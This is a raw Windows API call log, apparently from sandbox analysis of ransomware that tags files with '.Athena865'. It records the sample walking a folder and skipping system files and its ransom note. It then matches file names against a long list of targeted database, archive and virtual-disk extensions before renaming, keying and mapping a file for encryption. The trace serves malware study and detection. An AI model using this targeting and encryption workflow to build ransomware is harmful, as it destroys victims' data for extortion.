FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ee00a15, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x4ee00a15, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="photoedge_buttongraphic.png", cAlternateFileName="")) returned 1 [0119.757] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.757] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.757] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2=".") returned 1 [0119.757] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="..") returned 1 [0119.757] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="windows") returned -1 [0119.757] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="bootmgr") returned 1 [0119.757] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="temp") returned -1 [0119.757] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="pagefile.sys") returned 1 [0119.757] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="boot") returned 1 [0119.757] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="ids.txt") returned 1 [0119.757] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="ntuser.dat") returned 1 [0119.757] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="perflogs") returned 1 [0119.757] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="MSBuild") returned 1 [0119.757] lstrlenW (lpString="photoedge_buttongraphic.png") returned 27 [0119.757] lstrcpyW (in: lpString1=0x241e8a0, lpString2="photoedge_buttongraphic.png" | out: lpString1="photoedge_buttongraphic.png") returned="photoedge_buttongraphic.png" [0119.757] lstrlenW (lpString="photoedge_buttongraphic.png") returned 27 [0119.757] lstrlenW (lpString="Athena865") returned 9 [0119.757] lstrcmpiW (lpString1="aphic.png", lpString2="Athena865") returned -1 [0119.757] lstrlenW (lpString=".dll") returned 4 [0119.757] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2=".dll") returned 1 [0119.757] lstrlenW (lpString=".lnk") returned 4 [0119.758] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2=".lnk") returned 1 [0119.758] lstrlenW (lpString=".ini") returned 4 [0119.758] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2=".ini") returned 1 [0119.758] lstrlenW (lpString=".sys") returned 4 [0119.758] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2=".sys") returned 1 [0119.758] lstrlenW (lpString="photoedge_buttongraphic.png") returned 27 [0119.758] lstrlenW (lpString="bak") returned 3 [0119.758] lstrcmpiW (lpString1="png", lpString2="bak") returned 1 [0119.758] lstrlenW (lpString="ba_") returned 3 [0119.758] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1 [0119.758] lstrlenW (lpString="dbb") returned 3 [0119.758] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1 [0119.758] lstrlenW (lpString="vmdk") returned 4 [0119.758] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1 [0119.758] lstrlenW (lpString="rar") returned 3 [0119.758] lstrcmpiW (lpString1="png", lpString2="rar") returned -1 [0119.758] lstrlenW (lpString="zip") returned 3 [0119.758] lstrcmpiW (lpString1="png", lpString2="zip") returned -1 [0119.758] lstrlenW (lpString="tgz") returned 3 [0119.758] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1 [0119.758] lstrlenW (lpString="vbox") returned 4 [0119.758] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1 [0119.758] lstrlenW (lpString="vdi") returned 3 [0119.758] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1 [0119.758] lstrlenW (lpString="vhd") returned 3 [0119.758] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1 [0119.758] lstrlenW (lpString="vhdx") returned 4 [0119.758] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1 [0119.759] lstrlenW (lpString="avhd") returned 4 [0119.759] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1 [0119.759] lstrlenW (lpString="db") returned 2 [0119.759] lstrcmpiW (lpString1="ng", lpString2="db") returned 1 [0119.759] lstrlenW (lpString="db2") returned 3 [0119.759] lstrcmpiW (lpString1="png", lpString2="db2") returned 1 [0119.759] lstrlenW (lpString="db3") returned 3 [0119.759] lstrcmpiW (lpString1="png", lpString2="db3") returned 1 [0119.759] lstrlenW (lpString="dbf") returned 3 [0119.759] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1 [0119.759] lstrlenW (lpString="mdf") returned 3 [0119.759] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1 [0119.759] lstrlenW (lpString="mdb") returned 3 [0119.759] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1 [0119.759] lstrlenW (lpString="sql") returned 3 [0119.759] lstrcmpiW (lpString1="png", lpString2="sql") returned -1 [0119.759] lstrlenW (lpString="sqlite") returned 6 [0119.759] lstrcmpiW (lpString1="ic.png", lpString2="sqlite") returned -1 [0119.759] lstrlenW (lpString="sqlite3") returned 7 [0119.759] lstrcmpiW (lpString1="hic.png", lpString2="sqlite3") returned -1 [0119.759] lstrlenW (lpString="sqlitedb") returned 8 [0119.759] lstrcmpiW (lpString1="phic.png", lpString2="sqlitedb") returned -1 [0119.759] lstrlenW (lpString="xml") returned 3 [0119.759] lstrcmpiW (lpString1="png", lpString2="xml") returned -1 [0119.759] lstrlenW (lpString="$er") returned 3 [0119.759] lstrcmpiW (lpString1="png", lpString2="$er") returned 1 [0119.759] lstrlenW (lpString="4dd") returned 3 [0119.759] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1 [0119.759] lstrlenW (lpString="4dl") returned 3 [0119.760] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1 [0119.760] lstrlenW (lpString="^^^") returned 3 [0119.760] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1 [0119.760] lstrlenW (lpString="abs") returned 3 [0119.760] lstrcmpiW (lpString1="png", lpString2="abs") returned 1 [0119.760] lstrlenW (lpString="abx") returned 3 [0119.760] lstrcmpiW (lpString1="png", lpString2="abx") returned 1 [0119.760] lstrlenW (lpString="accdb") returned 5 [0119.760] lstrcmpiW (lpString1="c.png", lpString2="accdb") returned 1 [0119.760] lstrlenW (lpString="accdc") returned 5 [0119.760] lstrcmpiW (lpString1="c.png", lpString2="accdc") returned 1 [0119.760] lstrlenW (lpString="accde") returned 5 [0119.760] lstrcmpiW (lpString1="c.png", lpString2="accde") returned 1 [0119.760] lstrlenW (lpString="accdr") returned 5 [0119.760] lstrcmpiW (lpString1="c.png", lpString2="accdr") returned 1 [0119.760] lstrlenW (lpString="accdt") returned 5 [0119.760] lstrcmpiW (lpString1="c.png", lpString2="accdt") returned 1 [0119.760] lstrlenW (lpString="accdw") returned 5 [0119.760] lstrcmpiW (lpString1="c.png", lpString2="accdw") returned 1 [0119.760] lstrlenW (lpString="accft") returned 5 [0119.760] lstrcmpiW (lpString1="c.png", lpString2="accft") returned 1 [0119.760] lstrlenW (lpString="adb") returned 3 [0119.760] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0119.760] lstrlenW (lpString="adb") returned 3 [0119.760] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0119.760] lstrlenW (lpString="ade") returned 3 [0119.760] lstrcmpiW (lpString1="png", lpString2="ade") returned 1 [0119.760] lstrlenW (lpString="adf") returned 3 [0119.760] lstrcmpiW (lpString1="png", lpString2="adf") returned 1 [0119.760] lstrlenW (lpString="adn") returned 3 [0119.761] lstrcmpiW (lpString1="png", lpString2="adn") returned 1 [0119.761] lstrlenW (lpString="adp") returned 3 [0119.761] lstrcmpiW (lpString1="png", lpString2="adp") returned 1 [0119.761] lstrlenW (lpString="alf") returned 3 [0119.761] lstrcmpiW (lpString1="png", lpString2="alf") returned 1 [0119.761] lstrlenW (lpString="ask") returned 3 [0119.761] lstrcmpiW (lpString1="png", lpString2="ask") returned 1 [0119.761] lstrlenW (lpString="btr") returned 3 [0119.761] lstrcmpiW (lpString1="png", lpString2="btr") returned 1 [0119.761] lstrlenW (lpString="cat") returned 3 [0119.761] lstrcmpiW (lpString1="png", lpString2="cat") returned 1 [0119.761] lstrlenW (lpString="cdb") returned 3 [0119.761] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1 [0119.761] lstrlenW (lpString="ckp") returned 3 [0119.761] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1 [0119.761] lstrlenW (lpString="cma") returned 3 [0119.761] lstrcmpiW (lpString1="png", lpString2="cma") returned 1 [0119.761] lstrlenW (lpString="cpd") returned 3 [0119.761] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1 [0119.761] lstrlenW (lpString="dacpac") returned 6 [0119.761] lstrcmpiW (lpString1="ic.png", lpString2="dacpac") returned 1 [0119.761] lstrlenW (lpString="dad") returned 3 [0119.761] lstrcmpiW (lpString1="png", lpString2="dad") returned 1 [0119.761] lstrlenW (lpString="dadiagrams") returned 10 [0119.761] lstrcmpiW (lpString1="raphic.png", lpString2="dadiagrams") returned 1 [0119.761] lstrlenW (lpString="daschema") returned 8 [0119.761] lstrcmpiW (lpString1="phic.png", lpString2="daschema") returned 1 [0119.761] lstrlenW (lpString="db-journal") returned 10 [0119.761] lstrcmpiW (lpString1="raphic.png", lpString2="db-journal") returned 1 [0119.761] lstrlenW (lpString="db-shm") returned 6 [0119.761] lstrcmpiW (lpString1="ic.png", lpString2="db-shm") returned 1 [0119.762] lstrlenW (lpString="db-wal") returned 6 [0119.762] lstrcmpiW (lpString1="ic.png", lpString2="db-wal") returned 1 [0119.762] lstrlenW (lpString="dbc") returned 3 [0119.762] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1 [0119.762] lstrlenW (lpString="dbs") returned 3 [0119.762] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1 [0119.762] lstrlenW (lpString="dbt") returned 3 [0119.762] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1 [0119.762] lstrlenW (lpString="dbv") returned 3 [0119.762] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1 [0119.762] lstrlenW (lpString="dbx") returned 3 [0119.762] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1 [0119.762] lstrlenW (lpString="dcb") returned 3 [0119.762] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1 [0119.762] lstrlenW (lpString="dct") returned 3 [0119.762] lstrcmpiW (lpString1="png", lpString2="dct") returned 1 [0119.762] lstrlenW (lpString="dcx") returned 3 [0119.762] lstrcmpiW (lpString1="png", lpString2="dcx") returned 1 [0119.762] lstrlenW (lpString="ddl") returned 3 [0119.762] lstrcmpiW (lpString1="png", lpString2="ddl") returned 1 [0119.762] lstrlenW (lpString="dlis") returned 4 [0119.762] lstrcmpiW (lpString1=".png", lpString2="dlis") returned -1 [0119.762] lstrlenW (lpString="dp1") returned 3 [0119.762] lstrcmpiW (lpString1="png", lpString2="dp1") returned 1 [0119.762] lstrlenW (lpString="dqy") returned 3 [0119.762] lstrcmpiW (lpString1="png", lpString2="dqy") returned 1 [0119.762] lstrlenW (lpString="dsk") returned 3 [0119.762] lstrcmpiW (lpString1="png", lpString2="dsk") returned 1 [0119.762] lstrlenW (lpString="dsn") returned 3 [0119.762] lstrcmpiW (lpString1="png", lpString2="dsn") returned 1 [0119.763] lstrlenW (lpString="dtsx") returned 4 [0119.763] lstrcmpiW (lpString1=".png", lpString2="dtsx") returned -1 [0119.763] lstrlenW (lpString="dxl") returned 3 [0119.763] lstrcmpiW (lpString1="png", lpString2="dxl") returned 1 [0119.763] lstrlenW (lpString="eco") returned 3 [0119.763] lstrcmpiW (lpString1="png", lpString2="eco") returned 1 [0119.763] lstrlenW (lpString="ecx") returned 3 [0119.763] lstrcmpiW (lpString1="png", lpString2="ecx") returned 1 [0119.763] lstrlenW (lpString="edb") returned 3 [0119.763] lstrcmpiW (lpString1="png", lpString2="edb") returned 1 [0119.763] lstrlenW (lpString="epim") returned 4 [0119.763] lstrcmpiW (lpString1=".png", lpString2="epim") returned -1 [0119.763] lstrlenW (lpString="fcd") returned 3 [0119.763] lstrcmpiW (lpString1="png", lpString2="fcd") returned 1 [0119.763] lstrlenW (lpString="fdb") returned 3 [0119.763] lstrcmpiW (lpString1="png", lpString2="fdb") returned 1 [0119.763] lstrlenW (lpString="fic") returned 3 [0119.763] lstrcmpiW (lpString1="png", lpString2="fic") returned 1 [0119.763] lstrlenW (lpString="flexolibrary") returned 12 [0119.763] lstrcmpiW (lpString1="ngraphic.png", lpString2="flexolibrary") returned 1 [0119.763] lstrlenW (lpString="fm5") returned 3 [0119.763] lstrcmpiW (lpString1="png", lpString2="fm5") returned 1 [0119.763] lstrlenW (lpString="fmp") returned 3 [0119.763] lstrcmpiW (lpString1="png", lpString2="fmp") returned 1 [0119.763] lstrlenW (lpString="fmp12") returned 5 [0119.763] lstrcmpiW (lpString1="c.png", lpString2="fmp12") returned -1 [0119.763] lstrlenW (lpString="fmpsl") returned 5 [0119.763] lstrcmpiW (lpString1="c.png", lpString2="fmpsl") returned -1 [0119.763] lstrlenW (lpString="fol") returned 3 [0119.764] lstrcmpiW (lpString1="png", lpString2="fol") returned 1 [0119.764] lstrlenW (lpString="fp3") returned 3 [0119.764] lstrcmpiW (lpString1="png", lpString2="fp3") returned 1 [0119.764] lstrlenW (lpString="fp4") returned 3 [0119.764] lstrcmpiW (lpString1="png", lpString2="fp4") returned 1 [0119.764] lstrlenW (lpString="fp5") returned 3 [0119.764] lstrcmpiW (lpString1="png", lpString2="fp5") returned 1 [0119.764] lstrlenW (lpString="fp7") returned 3 [0119.764] lstrcmpiW (lpString1="png", lpString2="fp7") returned 1 [0119.764] lstrlenW (lpString="fpt") returned 3 [0119.764] lstrcmpiW (lpString1="png", lpString2="fpt") returned 1 [0119.764] lstrlenW (lpString="frm") returned 3 [0119.764] lstrcmpiW (lpString1="png", lpString2="frm") returned 1 [0119.764] lstrlenW (lpString="gdb") returned 3 [0119.764] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1 [0119.764] lstrlenW (lpString="gdb") returned 3 [0119.764] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1 [0119.764] lstrlenW (lpString="grdb") returned 4 [0119.764] lstrcmpiW (lpString1=".png", lpString2="grdb") returned -1 [0119.764] lstrlenW (lpString="gwi") returned 3 [0119.764] lstrcmpiW (lpString1="png", lpString2="gwi") returned 1 [0119.764] lstrlenW (lpString="hdb") returned 3 [0119.764] lstrcmpiW (lpString1="png", lpString2="hdb") returned 1 [0119.764] lstrlenW (lpString="his") returned 3 [0119.764] lstrcmpiW (lpString1="png", lpString2="his") returned 1 [0119.764] lstrlenW (lpString="ib") returned 2 [0119.764] lstrcmpiW (lpString1="ng", lpString2="ib") returned 1 [0119.764] lstrlenW (lpString="idb") returned 3 [0119.764] lstrcmpiW (lpString1="png", lpString2="idb") returned 1 [0119.765] lstrlenW (lpString="ihx") returned 3 [0119.765] lstrcmpiW (lpString1="png", lpString2="ihx") returned 1 [0119.765] lstrlenW (lpString="itdb") returned 4 [0119.765] lstrcmpiW (lpString1=".png", lpString2="itdb") returned -1 [0119.765] lstrlenW (lpString="itw") returned 3 [0119.765] lstrcmpiW (lpString1="png", lpString2="itw") returned 1 [0119.765] lstrlenW (lpString="jet") returned 3 [0119.765] lstrcmpiW (lpString1="png", lpString2="jet") returned 1 [0119.765] lstrlenW (lpString="jtx") returned 3 [0119.765] lstrcmpiW (lpString1="png", lpString2="jtx") returned 1 [0119.765] lstrlenW (lpString="kdb") returned 3 [0119.765] lstrcmpiW (lpString1="png", lpString2="kdb") returned 1 [0119.765] lstrlenW (lpString="kexi") returned 4 [0119.765] lstrcmpiW (lpString1=".png", lpString2="kexi") returned -1 [0119.765] lstrlenW (lpString="kexic") returned 5 [0119.765] lstrcmpiW (lpString1="c.png", lpString2="kexic") returned -1 [0119.765] lstrlenW (lpString="kexis") returned 5 [0119.765] lstrcmpiW (lpString1="c.png", lpString2="kexis") returned -1 [0119.765] lstrlenW (lpString="lgc") returned 3 [0119.765] lstrcmpiW (lpString1="png", lpString2="lgc") returned 1 [0119.765] lstrlenW (lpString="lwx") returned 3 [0119.765] lstrcmpiW (lpString1="png", lpString2="lwx") returned 1 [0119.765] lstrlenW (lpString="maf") returned 3 [0119.765] lstrcmpiW (lpString1="png", lpString2="maf") returned 1 [0119.765] lstrlenW (lpString="maq") returned 3 [0119.765] lstrcmpiW (lpString1="png", lpString2="maq") returned 1 [0119.765] lstrlenW (lpString="mar") returned 3 [0119.765] lstrcmpiW (lpString1="png", lpString2="mar") returned 1 [0119.765] lstrlenW (lpString="marshal") returned 7 [0119.765] lstrcmpiW (lpString1="hic.png", lpString2="marshal") returned -1 [0119.765] lstrlenW (lpString="mas") returned 3 [0119.766] lstrcmpiW (lpString1="png", lpString2="mas") returned 1 [0119.766] lstrlenW (lpString="mav") returned 3 [0119.766] lstrcmpiW (lpString1="png", lpString2="mav") returned 1 [0119.766] lstrlenW (lpString="maw") returned 3 [0119.766] lstrcmpiW (lpString1="png", lpString2="maw") returned 1 [0119.766] lstrlenW (lpString="mdbhtml") returned 7 [0119.766] lstrcmpiW (lpString1="hic.png", lpString2="mdbhtml") returned -1 [0119.766] lstrlenW (lpString="mdn") returned 3 [0119.766] lstrcmpiW (lpString1="png", lpString2="mdn") returned 1 [0119.766] lstrlenW (lpString="mdt") returned 3 [0119.766] lstrcmpiW (lpString1="png", lpString2="mdt") returned 1 [0119.766] lstrlenW (lpString="mfd") returned 3 [0119.766] lstrcmpiW (lpString1="png", lpString2="mfd") returned 1 [0119.766] lstrlenW (lpString="mpd") returned 3 [0119.766] lstrcmpiW (lpString1="png", lpString2="mpd") returned 1 [0119.766] lstrlenW (lpString="mrg") returned 3 [0119.766] lstrcmpiW (lpString1="png", lpString2="mrg") returned 1 [0119.766] lstrlenW (lpString="mud") returned 3 [0119.766] lstrcmpiW (lpString1="png", lpString2="mud") returned 1 [0119.766] lstrlenW (lpString="mwb") returned 3 [0119.766] lstrcmpiW (lpString1="png", lpString2="mwb") returned 1 [0119.766] lstrlenW (lpString="myd") returned 3 [0119.766] lstrcmpiW (lpString1="png", lpString2="myd") returned 1 [0119.766] lstrlenW (lpString="ndf") returned 3 [0119.766] lstrcmpiW (lpString1="png", lpString2="ndf") returned 1 [0119.766] lstrlenW (lpString="nnt") returned 3 [0119.766] lstrcmpiW (lpString1="png", lpString2="nnt") returned 1 [0119.766] lstrlenW (lpString="nrmlib") returned 6 [0119.766] lstrcmpiW (lpString1="ic.png", lpString2="nrmlib") returned -1 [0119.766] lstrlenW (lpString="ns2") returned 3 [0119.766] lstrcmpiW (lpString1="png", lpString2="ns2") returned 1 [0119.767] lstrlenW (lpString="ns3") returned 3 [0119.767] lstrcmpiW (lpString1="png", lpString2="ns3") returned 1 [0119.767] lstrlenW (lpString="ns4") returned 3 [0119.767] lstrcmpiW (lpString1="png", lpString2="ns4") returned 1 [0119.767] lstrlenW (lpString="nsf") returned 3 [0119.767] lstrcmpiW (lpString1="png", lpString2="nsf") returned 1 [0119.767] lstrlenW (lpString="nv") returned 2 [0119.767] lstrcmpiW (lpString1="ng", lpString2="nv") returned -1 [0119.767] lstrlenW (lpString="nv2") returned 3 [0119.767] lstrcmpiW (lpString1="png", lpString2="nv2") returned 1 [0119.767] lstrlenW (lpString="nwdb") returned 4 [0119.767] lstrcmpiW (lpString1=".png", lpString2="nwdb") returned -1 [0119.767] lstrlenW (lpString="nyf") returned 3 [0119.767] lstrcmpiW (lpString1="png", lpString2="nyf") returned 1 [0119.767] lstrlenW (lpString="odb") returned 3 [0119.767] lstrcmpiW (lpString1="png", lpString2="odb") returned 1 [0119.767] lstrlenW (lpString="odb") returned 3 [0119.767] lstrcmpiW (lpString1="png", lpString2="odb") returned 1 [0119.767] lstrlenW (lpString="oqy") returned 3 [0119.767] lstrcmpiW (lpString1="png", lpString2="oqy") returned 1 [0119.767] lstrlenW (lpString="ora") returned 3 [0119.767] lstrcmpiW (lpString1="png", lpString2="ora") returned 1 [0119.767] lstrlenW (lpString="orx") returned 3 [0119.767] lstrcmpiW (lpString1="png", lpString2="orx") returned 1 [0119.767] lstrlenW (lpString="owc") returned 3 [0119.767] lstrcmpiW (lpString1="png", lpString2="owc") returned 1 [0119.767] lstrlenW (lpString="p96") returned 3 [0119.767] lstrcmpiW (lpString1="png", lpString2="p96") returned 1 [0119.767] lstrlenW (lpString="p97") returned 3 [0119.767] lstrcmpiW (lpString1="png", lpString2="p97") returned 1 [0119.767] lstrlenW (lpString="pan") returned 3 [0119.768] lstrcmpiW (lpString1="png", lpString2="pan") returned 1 [0119.768] lstrlenW (lpString="pdb") returned 3 [0119.768] lstrcmpiW (lpString1="png", lpString2="pdb") returned 1 [0119.768] lstrlenW (lpString="pdm") returned 3 [0119.768] lstrcmpiW (lpString1="png", lpString2="pdm") returned 1 [0119.768] lstrlenW (lpString="pnz") returned 3 [0119.768] lstrcmpiW (lpString1="png", lpString2="pnz") returned -1 [0119.768] lstrlenW (lpString="qry") returned 3 [0119.768] lstrcmpiW (lpString1="png", lpString2="qry") returned -1 [0119.768] lstrlenW (lpString="qvd") returned 3 [0119.768] lstrcmpiW (lpString1="png", lpString2="qvd") returned -1 [0119.768] lstrlenW (lpString="rbf") returned 3 [0119.768] lstrcmpiW (lpString1="png", lpString2="rbf") returned -1 [0119.768] lstrlenW (lpString="rctd") returned 4 [0119.768] lstrcmpiW (lpString1=".png", lpString2="rctd") returned -1 [0119.768] lstrlenW (lpString="rod") returned 3 [0119.768] lstrcmpiW (lpString1="png", lpString2="rod") returned -1 [0119.768] lstrlenW (lpString="rodx") returned 4 [0119.768] lstrcmpiW (lpString1=".png", lpString2="rodx") returned -1 [0119.768] lstrlenW (lpString="rpd") returned 3 [0119.768] lstrcmpiW (lpString1="png", lpString2="rpd") returned -1 [0119.768] lstrlenW (lpString="rsd") returned 3 [0119.768] lstrcmpiW (lpString1="png", lpString2="rsd") returned -1 [0119.768] lstrlenW (lpString="sas7bdat") returned 8 [0119.768] lstrcmpiW (lpString1="phic.png", lpString2="sas7bdat") returned -1 [0119.768] lstrlenW (lpString="sbf") returned 3 [0119.768] lstrcmpiW (lpString1="png", lpString2="sbf") returned -1 [0119.768] lstrlenW (lpString="scx") returned 3 [0119.768] lstrcmpiW (lpString1="png", lpString2="scx") returned -1 [0119.768] lstrlenW (lpString="sdb") returned 3 [0119.769] lstrcmpiW (lpString1="png", lpString2="sdb") returned -1 [0119.769] lstrlenW (lpString="sdc") returned 3 [0119.769] lstrcmpiW (lpString1="png", lpString2="sdc") returned -1 [0119.769] lstrlenW (lpString="sdf") returned 3 [0119.769] lstrcmpiW (lpString1="png", lpString2="sdf") returned -1 [0119.769] lstrlenW (lpString="sis") returned 3 [0119.769] lstrcmpiW (lpString1="png", lpString2="sis") returned -1 [0119.769] lstrlenW (lpString="spq") returned 3 [0119.769] lstrcmpiW (lpString1="png", lpString2="spq") returned -1 [0119.769] lstrlenW (lpString="te") returned 2 [0119.769] lstrcmpiW (lpString1="ng", lpString2="te") returned -1 [0119.769] lstrlenW (lpString="teacher") returned 7 [0119.769] lstrcmpiW (lpString1="hic.png", lpString2="teacher") returned -1 [0119.769] lstrlenW (lpString="tmd") returned 3 [0119.769] lstrcmpiW (lpString1="png", lpString2="tmd") returned -1 [0119.769] lstrlenW (lpString="tps") returned 3 [0119.769] lstrcmpiW (lpString1="png", lpString2="tps") returned -1 [0119.769] lstrlenW (lpString="trc") returned 3 [0119.769] lstrcmpiW (lpString1="png", lpString2="trc") returned -1 [0119.769] lstrlenW (lpString="trc") returned 3 [0119.769] lstrcmpiW (lpString1="png", lpString2="trc") returned -1 [0119.769] lstrlenW (lpString="trm") returned 3 [0119.769] lstrcmpiW (lpString1="png", lpString2="trm") returned -1 [0119.769] lstrlenW (lpString="udb") returned 3 [0119.769] lstrcmpiW (lpString1="png", lpString2="udb") returned -1 [0119.769] lstrlenW (lpString="udl") returned 3 [0119.769] lstrcmpiW (lpString1="png", lpString2="udl") returned -1 [0119.769] lstrlenW (lpString="usr") returned 3 [0119.769] lstrcmpiW (lpString1="png", lpString2="usr") returned -1 [0119.769] lstrlenW (lpString="v12") returned 3 [0119.769] lstrcmpiW (lpString1="png", lpString2="v12") returned -1 [0119.770] lstrlenW (lpString="vis") returned 3 [0119.770] lstrcmpiW (lpString1="png", lpString2="vis") returned -1 [0119.770] lstrlenW (lpString="vpd") returned 3 [0119.770] lstrcmpiW (lpString1="png", lpString2="vpd") returned -1 [0119.770] lstrlenW (lpString="vvv") returned 3 [0119.770] lstrcmpiW (lpString1="png", lpString2="vvv") returned -1 [0119.770] lstrlenW (lpString="wdb") returned 3 [0119.770] lstrcmpiW (lpString1="png", lpString2="wdb") returned -1 [0119.770] lstrlenW (lpString="wmdb") returned 4 [0119.770] lstrcmpiW (lpString1=".png", lpString2="wmdb") returned -1 [0119.770] lstrlenW (lpString="wrk") returned 3 [0119.770] lstrcmpiW (lpString1="png", lpString2="wrk") returned -1 [0119.770] lstrlenW (lpString="xdb") returned 3 [0119.770] lstrcmpiW (lpString1="png", lpString2="xdb") returned -1 [0119.770] lstrlenW (lpString="xld") returned 3 [0119.770] lstrcmpiW (lpString1="png", lpString2="xld") returned -1 [0119.770] lstrlenW (lpString="xmlff") returned 5 [0119.770] lstrcmpiW (lpString1="c.png", lpString2="xmlff") returned -1 [0119.770] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png.Athena865") returned 81 [0119.770] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png.athena865"), dwFlags=0x1) returned 1 [0119.771] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.771] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5372) returned 1 [0119.771] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.771] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0119.771] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.772] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.772] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.772] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.773] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1800, lpName=0x0) returned 0x154 [0119.774] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1800) returned 0x100000 [0119.776] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.776] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.776] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.776] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0119.776] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0119.777] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0119.777] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0119.777] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.777] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0119.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.777] 